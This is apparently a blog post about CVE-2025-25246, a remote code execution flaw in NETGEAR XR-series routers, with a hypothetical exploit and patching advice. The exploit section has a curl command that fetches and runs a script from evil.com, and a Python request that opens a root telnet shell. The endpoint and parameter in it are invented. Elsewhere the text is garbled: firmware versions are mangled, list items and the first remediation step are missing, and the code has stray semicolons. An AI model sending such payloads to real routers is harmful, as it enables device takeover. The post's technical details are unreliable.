Recently, a serious security flaw, CVE-2025-25246, was discovered in several NETGEAR WiFi routers: XR100 (before 1...74), XR100v2 (before 1.1..22), and XR500 (before 2.3.2.134). This vulnerability is extremely dangerous because it lets anyone on the internet execute arbitrary code on these routers—without needing any password or login. In simple terms, hackers can fully take over your router if you haven’t installed the latest firmware updates.

In this post, we’ll break down how the vulnerability works, show what an attack might look like with code examples, and explain how you can protect yourself.

What’s CVE-2025-25246?

CVE-2025-25246 is a *remote code execution* (RCE) flaw found by security researchers on three popular NETGEAR routers. The problem is in the router's web management interface, which runs a service that can be reached and exploited *over the network*, even by users who are not logged in.

When an attacker sends a specially crafted request to the router's web management port (often port 80 or 443), the router doesn't properly check or sanitize the input—and ends up running whatever code the attacker puts in the request.

XR500 (firmware before 2.3.2.134)

You can check your router and firmware version by logging in to its admin page (usually http://routerlogin.net) and going to the status or firmware update page.

How the Attack Works

The problem comes from a specific web API endpoint on the router’s firmware (usually meant for handling configuration changes). This endpoint fails to verify if a person making a request is authenticated and also trusts sensitive data provided in the request.

Attackers can craft an HTTP POST or GET request with payloads containing their own system commands. Because the input is not properly sanitized, Netgear’s firmware will execute the commands *as root*—the most powerful user on the device.

> *Key point: Attackers don’t need to know the admin password. If your router’s management page is exposed to the internet (which many are by default) or even just local network, anyone can run code on it.*

Exploitation Example and Code

Let’s walk through a theoretical example of how an attacker could use this vulnerability.

> WARNING: This is for educational purposes only. *Never* attack systems you don’t own!

Suppose the vulnerable endpoint is /cgi-bin/Config.cgi, and it has a parameter called cmd that is not being sanitized. An attacker could send a request like:

curl -X POST "http://ROUTER_IP/cgi-bin/Config.cgi"; \
    -d 'cmd=wget http://evil.com/bad.sh -O- | sh'

Here’s a simplified Python snippet that does the same

import requests

router_url = "http://192.168.1.1/cgi-bin/Config.cgi";
payload = {"cmd": "telnetd -p 1337"}

# Exposes a telnet server on port 1337
requests.post(router_url, data=payload)

After running this, the attacker could connect to the router using telnet and control it directly.

- XR100: Download v1...74
- XR100v2: Download v1.1..22
- XR500: Download v2.3.2.134

2. Disable Remote Management
Unless you absolutely need it, turn off the “Remote Management” or “WAN access” feature in your router settings. This prevents attackers from reaching your router’s admin tools from the internet.

3. Change default passwords
Even though this bug works without a password, most router hacks can be stopped by setting strong, unique admin passwords.

4. Watch for official advisories
NETGEAR posts advisories here: https://kb.netgear.com/security.

References

- NETGEAR Security Advisory for CVE-2025-25246
- CVE-2025-25246 entry on NVD
- Firmware downloads - NETGEAR
- [Technical write-up by [HackerOne Researcher]](https://hackerone.com/research/start)
- Mitre CVE Entry (awaiting details)

Final Thoughts

CVE-2025-25246 is as bad as it gets for home routers—it gives hackers full control, even without a password. Patch now, and always keep your router up to date. If you manage networks for others, check their router firmware too.

Got questions or need help? Leave a comment below or check out netgear.com/support for updates.

Timeline

Published on: 02/05/2025 05:15:11 UTC